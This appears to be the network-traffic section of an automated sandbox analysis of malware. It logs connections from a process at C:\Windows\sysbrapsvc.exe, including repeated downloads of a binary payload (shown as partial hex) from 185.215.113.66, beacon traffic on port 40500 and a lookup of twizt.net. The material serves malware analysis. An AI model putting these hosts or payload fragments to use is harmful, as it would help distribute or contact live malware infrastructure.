May 8, 2024 15:26:02.136946917 CEST	49804	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:02.487306118 CEST	80	49804	193.233.132.177	192.168.2.8
May 8, 2024 15:26:02.873296976 CEST	49805	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:02.996331930 CEST	49804	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:03.223018885 CEST	80	49805	193.233.132.177	192.168.2.8
May 8, 2024 15:26:03.347361088 CEST	80	49804	193.233.132.177	192.168.2.8
May 8, 2024 15:26:03.730665922 CEST	49805	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:03.855777025 CEST	49804	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:04.043292046 CEST	49798	40500	192.168.2.8	88.204.241.110
May 8, 2024 15:26:04.080791950 CEST	80	49805	193.233.132.177	192.168.2.8
May 8, 2024 15:26:04.205101013 CEST	80	49804	193.233.132.177	192.168.2.8
May 8, 2024 15:26:04.590050936 CEST	49805	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:04.939845085 CEST	80	49805	193.233.132.177	192.168.2.8
May 8, 2024 15:26:05.449387074 CEST	49805	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:05.799149990 CEST	80	49805	193.233.132.177	192.168.2.8
May 8, 2024 15:26:06.233151913 CEST	49806	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:06.308906078 CEST	49805	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:06.583261013 CEST	80	49806	193.233.132.177	192.168.2.8
May 8, 2024 15:26:06.658628941 CEST	80	49805	193.233.132.177	192.168.2.8
May 8, 2024 15:26:07.090117931 CEST	49806	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:07.441028118 CEST	80	49806	193.233.132.177	192.168.2.8
May 8, 2024 15:26:07.949453115 CEST	49806	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:08.299576044 CEST	80	49806	193.233.132.177	192.168.2.8
May 8, 2024 15:26:08.808756113 CEST	49806	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:09.163947105 CEST	80	49806	193.233.132.177	192.168.2.8
May 8, 2024 15:26:09.668188095 CEST	49806	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:09.811280966 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.018567085 CEST	80	49806	193.233.132.177	192.168.2.8
May 8, 2024 15:26:10.154156923 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.156699896 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.156857967 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.496879101 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497107029 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497241974 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497313976 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.497333050 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497349024 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497396946 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.497562885 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497608900 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.497654915 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.498065948 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.498089075 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.498331070 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.498344898 CEST	80	49807	185.215.113.66	192.168.2.8
May 8, 2024 15:26:10.498383045 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:10.498402119 CEST	49807	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:12.047370911 CEST	49808	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:12.401315928 CEST	80	49808	193.233.132.177	192.168.2.8
May 8, 2024 15:26:12.530006886 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:12.867367029 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:12.870595932 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:12.870759010 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:12.902508974 CEST	49808	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:13.211340904 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.211987972 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212258101 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212305069 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212373972 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212457895 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.212457895 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.212457895 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.212554932 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212584019 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212657928 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212678909 CEST	80	49809	185.215.113.66	192.168.2.8
May 8, 2024 15:26:13.212703943 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.212729931 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.256287098 CEST	80	49808	193.233.132.177	192.168.2.8
May 8, 2024 15:26:13.385663033 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.385704994 CEST	49809	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:13.761918068 CEST	49808	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:14.115581036 CEST	80	49808	193.233.132.177	192.168.2.8
May 8, 2024 15:26:14.652628899 CEST	49808	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:15.008029938 CEST	80	49808	193.233.132.177	192.168.2.8
May 8, 2024 15:26:15.043973923 CEST	49810	40500	192.168.2.8	187.250.131.80
May 8, 2024 15:26:15.404361010 CEST	49811	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:15.652755976 CEST	49808	80	192.168.2.8	193.233.132.177
May 8, 2024 15:26:15.744654894 CEST	80	49811	185.215.113.66	192.168.2.8
May 8, 2024 15:26:15.744741917 CEST	49811	80	192.168.2.8	185.215.113.66
May 8, 2024 15:26:16.006516933 CEST	80	49808	193.233.132.177	192.168.2.8
May 8, 2024 15:26:16.184322119 CEST	49810	40500	192.168.2.8	187.250.131.80
May 8, 2024 15:26:18.157546043 CEST	80	49794	91.202.233.141	192.168.2.8
May 8, 2024 15:26:18.157613993 CEST	49794	80	192.168.2.8	91.202.233.141
May 8, 2024 15:26:18.199372053 CEST	49810	40500	192.168.2.8	187.250.131.80

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 8, 2024 15:22:19.966809034 CEST	53100	40500	192.168.2.8	10.102.10.21
May 8, 2024 15:22:25.401623011 CEST	53100	40500	192.168.2.8	10.102.10.21
May 8, 2024 15:22:30.416734934 CEST	53100	40500	192.168.2.8	189.222.182.86
May 8, 2024 15:22:35.420978069 CEST	53100	40500	192.168.2.8	2.133.220.58
May 8, 2024 15:22:40.436269999 CEST	53100	40500	192.168.2.8	100.82.121.252
May 8, 2024 15:22:45.451795101 CEST	53100	40500	192.168.2.8	92.124.152.236
May 8, 2024 15:22:50.451420069 CEST	53100	40500	192.168.2.8	93.123.145.179
May 8, 2024 15:22:55.451896906 CEST	53100	40500	192.168.2.8	89.236.218.241
May 8, 2024 15:22:59.261123896 CEST	58590	53	192.168.2.8	1.1.1.1
May 8, 2024 15:22:59.424319029 CEST	53	58590	1.1.1.1	192.168.2.8
May 8, 2024 15:22:59.431577921 CEST	51234	53	192.168.2.8	1.1.1.1
May 8, 2024 15:22:59.595222950 CEST	53	51234	1.1.1.1	192.168.2.8
May 8, 2024 15:23:00.526493073 CEST	53100	40500	192.168.2.8	89.218.238.106
May 8, 2024 15:23:05.526587963 CEST	53100	40500	192.168.2.8	85.204.86.26
May 8, 2024 15:23:07.693244934 CEST	61330	53	192.168.2.8	1.1.1.1
May 8, 2024 15:23:07.862080097 CEST	53	61330	1.1.1.1	192.168.2.8
May 8, 2024 15:23:10.514270067 CEST	53100	40500	192.168.2.8	89.236.219.106
May 8, 2024 15:23:15.532761097 CEST	53100	40500	192.168.2.8	37.120.247.6
May 8, 2024 15:23:20.531721115 CEST	53100	40500	192.168.2.8	92.47.124.54
May 8, 2024 15:23:25.545392036 CEST	53100	40500	192.168.2.8	102.130.192.212
May 8, 2024 15:23:30.560770035 CEST	53100	40500	192.168.2.8	91.92.206.184
May 8, 2024 15:23:35.561279058 CEST	53100	40500	192.168.2.8	109.168.235.213
May 8, 2024 15:23:40.576210022 CEST	53100	40500	192.168.2.8	187.235.148.47
May 8, 2024 15:23:45.576159000 CEST	53100	40500	192.168.2.8	187.133.57.73
May 8, 2024 15:23:50.576286077 CEST	53100	40500	192.168.2.8	77.240.41.3
May 8, 2024 15:23:55.592483044 CEST	53100	40500	192.168.2.8	88.135.33.186
May 8, 2024 15:24:00.592612028 CEST	53100	40500	192.168.2.8	94.141.69.176
May 8, 2024 15:24:05.596669912 CEST	53100	40500	192.168.2.8	189.186.73.73
May 8, 2024 15:24:10.610780954 CEST	53100	40500	192.168.2.8	89.219.223.67
May 8, 2024 15:24:15.607469082 CEST	53100	40500	192.168.2.8	87.237.239.65
May 8, 2024 15:24:20.623168945 CEST	53100	40500	192.168.2.8	2.191.74.251
May 8, 2024 15:24:25.761945009 CEST	53100	40500	192.168.2.8	92.47.251.85
May 8, 2024 15:24:30.766488075 CEST	53100	40500	192.168.2.8	89.218.238.106
May 8, 2024 15:24:35.822434902 CEST	53100	40500	192.168.2.8	82.200.224.194
May 8, 2024 15:24:40.827235937 CEST	53100	40500	192.168.2.8	95.156.103.50
May 8, 2024 15:24:45.826837063 CEST	53100	40500	192.168.2.8	80.80.214.50
May 8, 2024 15:24:50.841681957 CEST	53100	40500	192.168.2.8	82.194.10.40
May 8, 2024 15:24:55.842050076 CEST	53100	40500	192.168.2.8	2.180.211.255
May 8, 2024 15:25:00.845896959 CEST	53100	40500	192.168.2.8	186.94.185.219
May 8, 2024 15:25:05.857201099 CEST	53100	40500	192.168.2.8	5.255.18.13
May 8, 2024 15:25:10.873131990 CEST	53100	40500	192.168.2.8	2.190.51.122
May 8, 2024 15:25:16.364409924 CEST	53100	40500	192.168.2.8	217.164.211.207
May 8, 2024 15:25:21.361872911 CEST	53100	40500	192.168.2.8	41.199.184.238
May 8, 2024 15:25:26.373049021 CEST	53100	40500	192.168.2.8	5.235.233.254
May 8, 2024 15:25:31.375852108 CEST	53100	40500	192.168.2.8	5.219.253.209
May 8, 2024 15:25:36.373022079 CEST	53100	40500	192.168.2.8	89.106.236.58
May 8, 2024 15:25:41.388560057 CEST	53100	40500	192.168.2.8	100.111.103.217
May 8, 2024 15:25:46.388922930 CEST	53100	40500	192.168.2.8	89.249.62.87
May 8, 2024 15:25:51.404406071 CEST	53100	40500	192.168.2.8	109.168.235.213
May 8, 2024 15:25:56.422772884 CEST	53100	40500	192.168.2.8	2.185.146.181
May 8, 2024 15:26:01.437855005 CEST	53100	40500	192.168.2.8	146.70.53.161
May 8, 2024 15:26:06.451778889 CEST	53100	40500	192.168.2.8	84.53.244.106
May 8, 2024 15:26:11.466891050 CEST	53100	40500	192.168.2.8	190.36.195.147

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 8, 2024 15:23:12.553208113 CEST	212.154.184.158	192.168.2.8	4d0f	(Host unreachable)	Destination Unreachable
May 8, 2024 15:23:15.862824917 CEST	212.154.184.158	192.168.2.8	4d0f	(Host unreachable)	Destination Unreachable
May 8, 2024 15:23:15.862845898 CEST	212.154.184.158	192.168.2.8	4d0f	(Host unreachable)	Destination Unreachable
May 8, 2024 15:23:22.132114887 CEST	212.154.184.158	192.168.2.8	4d0f	(Host unreachable)	Destination Unreachable
May 8, 2024 15:23:28.804625034 CEST	212.154.184.158	192.168.2.8	4d0f	(Host unreachable)	Destination Unreachable
May 8, 2024 15:23:35.924915075 CEST	109.168.235.213	192.168.2.8	1969	(Port unreachable)	Destination Unreachable
May 8, 2024 15:25:51.768331051 CEST	109.168.235.213	192.168.2.8	1969	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 8, 2024 15:22:59.261123896 CEST	192.168.2.8	1.1.1.1	0x1416	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)	false
May 8, 2024 15:22:59.431577921 CEST	192.168.2.8	1.1.1.1	0xc317	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
May 8, 2024 15:23:07.693244934 CEST	192.168.2.8	1.1.1.1	0x5b49	Standard query (0)	twizt.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 8, 2024 15:22:59.424319029 CEST	1.1.1.1	192.168.2.8	0x1416	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
May 8, 2024 15:22:59.424319029 CEST	1.1.1.1	192.168.2.8	0x1416	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
May 8, 2024 15:22:59.424319029 CEST	1.1.1.1	192.168.2.8	0x1416	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	67.195.228.94	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	98.136.96.76	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	98.136.96.74	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	67.195.228.109	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	67.195.204.74	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	67.195.204.77	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	67.195.228.110	A (IP address)	IN (0x0001)	false
May 8, 2024 15:22:59.595222950 CEST	1.1.1.1	192.168.2.8	0xc317	No error (0)	mta7.am0.yahoodns.net	98.136.96.75	A (IP address)	IN (0x0001)	false
May 8, 2024 15:23:07.862080097 CEST	1.1.1.1	192.168.2.8	0x5b49	No error (0)	twizt.net	185.215.113.66	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.66

twizt.net

91.202.233.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:19.785147905 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:20.126646996 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:19 GMT Content-Type: application/octet-stream Content-Length: 101120 Last-Modified: Mon, 06 May 2024 15:20:46 GMT Connection: keep-alive ETag: "6638f54e-18b00" Accept-Ranges: bytes Data Raw: 2f eb 3b ff 22 8c 9e 7e d6 fa 86 16 25 d6 a1 eb 91 96 d2 6e ab 38 67 1c 3d 47 67 87 68 ce 24 2a dd 8d 07 7d 5e 1e 53 cf 7f 9f bc 53 5d 8e 04 f4 f9 09 4a 15 22 50 da b8 68 9f b3 a6 2d c0 84 94 bb 51 1c 79 b8 aa a0 30 32 32 47 8d 6d c6 9a 54 e9 66 08 fd 3c 2e b3 c9 6e 64 08 31 1f 3f ff cb e3 5e 8e 52 06 1f cf 42 06 a5 8d 78 fa ea fd 6c 47 55 3f a1 8a 36 0c 86 c2 37 a5 0d 96 df 47 6a f5 fa 9a ed d8 93 3c 00 a3 68 3d ee 32 c5 ce 5c c0 ae a1 7a ce 06 9b c4 2e 52 b9 87 a6 d5 8b 39 3e 60 52 51 20 df b6 cc b3 c5 97 33 24 0a 47 ff 73 ac cb 3b c1 25 f9 65 a7 9c 1b 55 78 a9 8a 26 c3 ad f0 c1 e2 6f 5b 1e 78 02 51 ed a0 19 31 a4 eb 64 ee 81 19 3b bb 92 5d 6f 1c dc 69 3e 42 33 60 0f 00 c2 e7 19 a3 9d d8 cd 2d d6 f7 1a 97 fa b6 df d6 69 04 54 0b aa 9f 3e 4d 56 2f 90 eb e5 dc 5f 4d 79 f6 da af 61 e3 70 78 76 42 ab 75 81 3d 29 65 73 41 39 c5 1e 6c 94 fd 3d 7c 17 bc fa 05 70 cd 19 c0 34 4e 24 68 bb ab d4 7f 18 4f 60 99 c0 3b 20 b9 ee e7 94 7e 1a 1a fd 3b e8 a4 77 5f e0 81 37 62 a8 66 c5 b8 b7 c9 32 ef ce 1c 9b 4a e9 [TRUNCATED] Data Ascii: /;"~%n8g=Ggh$}^SS]J"Ph-Qy022GmTf<.nd1?^RBxlGU?67Gj<h=2\z.R9>`RQ 3$Gs;%eUx&o[xQ1d;]oi>B3`-iT>MV/_MyapxvBu=)esA9l=\|p4N$hO`; ~;w_7bf2J6%9K2!PeeQfYwIf59Bs:L7-lgw/nlOsk,c$Mt7=PGKN6EDy!Ig6Yt7exU]5{Yl+5ZN'"'zZ}K2~:/U~1\M^lx1M8/50>f{VG%w uVTo=?ZUc~tMto\|;q{x]+^(qpmKA<qvv9'b.T/Gp_e,7os?g&\|d(v[d}\|Xa1jv&B7j\o\|N!i/u.,o#/v]1&o3T}l{fKV_E-&!1~uZ0}_+_i\|sV!B[@L;;le;fGr<i7DLP`}8y#WqO)h/E^r7QuJ0 [TRUNCATED]
May 8, 2024 15:22:20.126723051 CEST	1289	IN	Data Raw: a0 2d e3 56 4f b5 70 35 f0 87 6d 9a a1 c6 80 d4 8f 8d da 29 da 12 7f 44 65 55 c5 e5 ad 6b 7f 92 1c 16 4c 62 59 24 20 27 a1 4e a6 58 37 f1 d4 4e 3a b8 07 27 be fe 79 d2 0a 4d a3 e9 b3 d3 27 ea 71 3e 45 12 d6 e4 a1 f1 c5 ca 1e dc 0b 6b c4 4d 1d bf Data Ascii: -VOp5m)DeUkLbY$ 'NX7N:'yM'q>EkM2YN JemGZ%>:P@OXW9E:>;n;EK_ptl[}?/EBR -zw{k@/ETJ4CSoD7K)N&)LPl8i:^.;?D
May 8, 2024 15:22:20.126774073 CEST	1289	IN	Data Raw: 34 95 48 63 4a 56 69 1b b6 d0 11 8b 43 3d f9 9b c1 7e ce 35 63 32 b1 a5 bd a2 ce 1d 8c 3c cd 5a 8c 04 19 20 36 cc 80 30 f7 36 0b bb 1c 5d aa ca 75 b1 fb f0 12 10 c5 8d b1 6b da 5c 25 f5 99 66 3a 04 1d 9f 21 83 7b 3f 47 a0 62 23 9e 6d 75 fc 06 13 Data Ascii: 4HcJViC=~5c2<Z 606]uk\%f:!{?Gb#mue/bE)Ac,1_zXGl}J ,AoXu=/Tx;sGP'ZECi\ogb)]>JpA7NdI&"=%}w7a
May 8, 2024 15:22:20.126806974 CEST	1289	IN	Data Raw: 22 ee 51 86 c3 82 42 12 1e 23 94 22 31 32 98 d8 93 42 06 bc 3e ab 5a 7e 1b b2 9c 93 cf ed de db 56 ff d1 9a e8 c0 a3 e2 8c 16 0b 5d 25 0a f3 39 83 b8 8e d5 dc dd 2b 93 5a e8 e1 72 b6 41 ca d0 a8 ce 28 87 51 da 7d bc 57 1f 72 5e d5 40 0c 79 f6 6c Data Ascii: "QB#"12B>Z~V]%9+ZrA(Q}Wr^@yl4~n~uqy7Bk0k32[XOjxLve.BivxU8Qj-S,& fV?X#4J#< ^e\':l}btB
May 8, 2024 15:22:20.126821041 CEST	1289	IN	Data Raw: 14 17 af 0e 52 15 bc 73 cd 28 6c 9d fe 63 14 1c 81 15 ba ea f5 f5 b7 18 2c 57 40 8e 55 0c 7a 93 9e 99 9a 75 58 fb 01 95 7d 90 03 43 86 04 d7 af c7 1e 33 a6 17 c0 a6 8c 9d 26 ea af 5b e0 69 e8 2c 10 54 6a b6 4d be 13 63 30 f7 27 ee 68 6a 25 06 d1 Data Ascii: Rs(lc,W@UzuX}C3&[i,TjMc0'hj%M>V*w=dfcwo$/n7.^Kfy37Iz[VZLF\|%\|s79\"%pNl\Rk-</'HQB14.k-!B>1lZ0_
May 8, 2024 15:22:20.126892090 CEST	1289	IN	Data Raw: 35 03 c6 69 a0 71 ee 00 0e a5 c7 7d 33 36 84 19 87 ec 1d 2d 6e 04 a5 fc 51 32 b5 18 97 f4 6e b2 82 9a bc 7e 2e b5 ce 63 92 99 20 a2 65 9f af 42 2a c0 06 b2 b1 5f 51 05 f2 20 e9 91 74 c6 3b 6d f0 ef ad 0c 15 65 45 32 52 e2 3e b3 a4 99 bd da e9 96 Data Ascii: 5iq}36-nQ2n~.c eB_Q t;meE2R>pLyFU+:&1:PQB\?rumgqeP</;IzfMY;H,bmj{dVT2}-^ZY4]/eVI#/ z?_hX*w
May 8, 2024 15:22:20.126908064 CEST	1289	IN	Data Raw: d8 48 56 8b 5a b8 ab 63 32 07 0b 67 c9 9d d3 d0 75 09 e8 eb e5 85 2b b1 4b 64 12 fb 9c e5 a1 9e 3e 41 f0 08 2b 61 3b be 1e ef f1 0f 7b ff 90 28 db 02 fd 0f f0 e6 ec 08 87 94 5a 41 43 69 77 86 7b 79 28 5c 46 19 4a c0 d4 50 6f 9b 01 a5 ae 12 8d b2 Data Ascii: HVZc2gu+Kd>A+a;{(ZACiw{y(\FJPoc,}-$g.j<+aoeO2(SL=[9HB8[s]YA1A/:FE0xJxUX>IWDWa5PH4(ho%q$qp
May 8, 2024 15:22:20.126931906 CEST	1289	IN	Data Raw: 09 b8 2f 79 14 9d ef 6d 09 77 e2 b2 60 84 e0 9b 45 3b 28 02 15 15 9d ee 50 b6 f6 a2 b9 1c 76 7f f6 8e c3 38 89 c2 df 40 2c 53 36 cd b3 d6 ff 35 7b 9a 79 01 e8 17 61 73 47 03 e2 a4 42 20 5c d3 65 07 0a a3 2b f7 e1 65 81 c9 7e 21 47 71 a8 a8 b3 a3 Data Ascii: /ymw`E;(Pv8@,S65{yasGB \e+e~!GqKw;)+UXd4lseiezy}(<vaSf>_$eRiZ(,MyrL?BtwUYPwTV/cPUfJcrd
May 8, 2024 15:22:20.126945972 CEST	1289	IN	Data Raw: 38 90 ee eb 04 9b f4 3f 3f 31 b6 f4 34 59 eb 6f 0d 53 13 67 d4 a1 dd c3 95 f8 9d 11 aa 8d 8a b2 7f b6 e2 78 a8 ff 57 39 a8 95 52 70 35 c8 b2 cf 61 5e 07 6e c8 61 4d 84 b3 92 7e 9e 09 75 d9 93 53 13 9b ee 06 d3 75 48 e5 df e6 d0 96 53 bb de 81 4a Data Ascii: 8??14YoSgxW9Rp5a^naM~uSuHSJD>K4!o=zxNE:Mpy?WoQ!vP8K(9G(q>.(#7W}UQ.f~MaQz\ztY7Z0}R]O$\"TjEqjZ_
May 8, 2024 15:22:20.127024889 CEST	1289	IN	Data Raw: 3e b9 6e 66 f4 fb b3 e5 57 91 84 03 4d 3c 75 8e d7 b8 2f 54 26 be a9 d1 85 0b 7e d0 0a 77 d7 05 f5 56 ae ed ef 4e de 31 b6 25 1c e8 ca be e4 f9 b8 c4 c6 5f d6 09 b9 e9 43 fa 6f 7e 6e 7e b7 96 64 d5 3c 37 b6 f3 c8 ac fe 60 12 77 27 ea 10 ec 4a 1f Data Ascii: >nfWM<u/T&~wVN1%_Co~n~d<7`w'JCyKx-WO)fZ<eSz1WZoE2}-S:O:yQzt{Dx/Y0_eP#81n]FaBZx4hY4PE~Z#/kdXf
May 8, 2024 15:22:20.467386007 CEST	1289	IN	Data Raw: 8b b3 71 d9 c8 da 74 f5 6d 13 ab 82 5f 0f d7 2a 75 8b dd 33 63 1c b2 7d 94 1e 26 53 ac e2 1f 13 96 62 30 be f6 91 83 88 02 53 ab 64 26 46 78 9c 5f 55 53 4e e7 85 20 bf 19 62 c8 f4 73 7a 7b f7 95 a5 e0 a7 b3 5f af 93 4b f8 e5 09 51 e9 cb 5b 41 72 Data Ascii: qtm_u3c}&Sb0Sd&Fx_USN bsz{_KQ[Ary#<Fc)aH\|!9*kjj?1~_Lc_>c\{LY#w^1d1?2jl&.ln)(An%e{Bj<q=+nG)=W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:21.481426001 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:21.823957920 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:21 GMT Content-Type: application/octet-stream Content-Length: 101120 Last-Modified: Mon, 06 May 2024 15:20:46 GMT Connection: keep-alive ETag: "6638f54e-18b00" Accept-Ranges: bytes Data Raw: 2f eb 3b ff 22 8c 9e 7e d6 fa 86 16 25 d6 a1 eb 91 96 d2 6e ab 38 67 1c 3d 47 67 87 68 ce 24 2a dd 8d 07 7d 5e 1e 53 cf 7f 9f bc 53 5d 8e 04 f4 f9 09 4a 15 22 50 da b8 68 9f b3 a6 2d c0 84 94 bb 51 1c 79 b8 aa a0 30 32 32 47 8d 6d c6 9a 54 e9 66 08 fd 3c 2e b3 c9 6e 64 08 31 1f 3f ff cb e3 5e 8e 52 06 1f cf 42 06 a5 8d 78 fa ea fd 6c 47 55 3f a1 8a 36 0c 86 c2 37 a5 0d 96 df 47 6a f5 fa 9a ed d8 93 3c 00 a3 68 3d ee 32 c5 ce 5c c0 ae a1 7a ce 06 9b c4 2e 52 b9 87 a6 d5 8b 39 3e 60 52 51 20 df b6 cc b3 c5 97 33 24 0a 47 ff 73 ac cb 3b c1 25 f9 65 a7 9c 1b 55 78 a9 8a 26 c3 ad f0 c1 e2 6f 5b 1e 78 02 51 ed a0 19 31 a4 eb 64 ee 81 19 3b bb 92 5d 6f 1c dc 69 3e 42 33 60 0f 00 c2 e7 19 a3 9d d8 cd 2d d6 f7 1a 97 fa b6 df d6 69 04 54 0b aa 9f 3e 4d 56 2f 90 eb e5 dc 5f 4d 79 f6 da af 61 e3 70 78 76 42 ab 75 81 3d 29 65 73 41 39 c5 1e 6c 94 fd 3d 7c 17 bc fa 05 70 cd 19 c0 34 4e 24 68 bb ab d4 7f 18 4f 60 99 c0 3b 20 b9 ee e7 94 7e 1a 1a fd 3b e8 a4 77 5f e0 81 37 62 a8 66 c5 b8 b7 c9 32 ef ce 1c 9b 4a e9 [TRUNCATED] Data Ascii: /;"~%n8g=Ggh$}^SS]J"Ph-Qy022GmTf<.nd1?^RBxlGU?67Gj<h=2\z.R9>`RQ 3$Gs;%eUx&o[xQ1d;]oi>B3`-iT>MV/_MyapxvBu=)esA9l=\|p4N$hO`; ~;w_7bf2J6%9K2!PeeQfYwIf59Bs:L7-lgw/nlOsk,c$Mt7=PGKN6EDy!Ig6Yt7exU]5{Yl+5ZN'"'zZ}K2~:/U~1\M^lx1M8/50>f{VG%w uVTo=?ZUc~tMto\|;q{x]+^(qpmKA<qvv9'b.T/Gp_e,7os?g&\|d(v[d}\|Xa1jv&B7j\o\|N!i/u.,o#/v]1&o3T}l{fKV_E-&!1~uZ0}_+_i\|sV!B[@L;;le;fGr<i7DLP`}8y#WqO)h/E^r7QuJ0 [TRUNCATED]
May 8, 2024 15:22:21.824067116 CEST	1289	IN	Data Raw: a0 2d e3 56 4f b5 70 35 f0 87 6d 9a a1 c6 80 d4 8f 8d da 29 da 12 7f 44 65 55 c5 e5 ad 6b 7f 92 1c 16 4c 62 59 24 20 27 a1 4e a6 58 37 f1 d4 4e 3a b8 07 27 be fe 79 d2 0a 4d a3 e9 b3 d3 27 ea 71 3e 45 12 d6 e4 a1 f1 c5 ca 1e dc 0b 6b c4 4d 1d bf Data Ascii: -VOp5m)DeUkLbY$ 'NX7N:'yM'q>EkM2YN JemGZ%>:P@OXW9E:>;n;EK_ptl[}?/EBR -zw{k@/ETJ4CSoD7K)N&)LPl8i:^.;?D
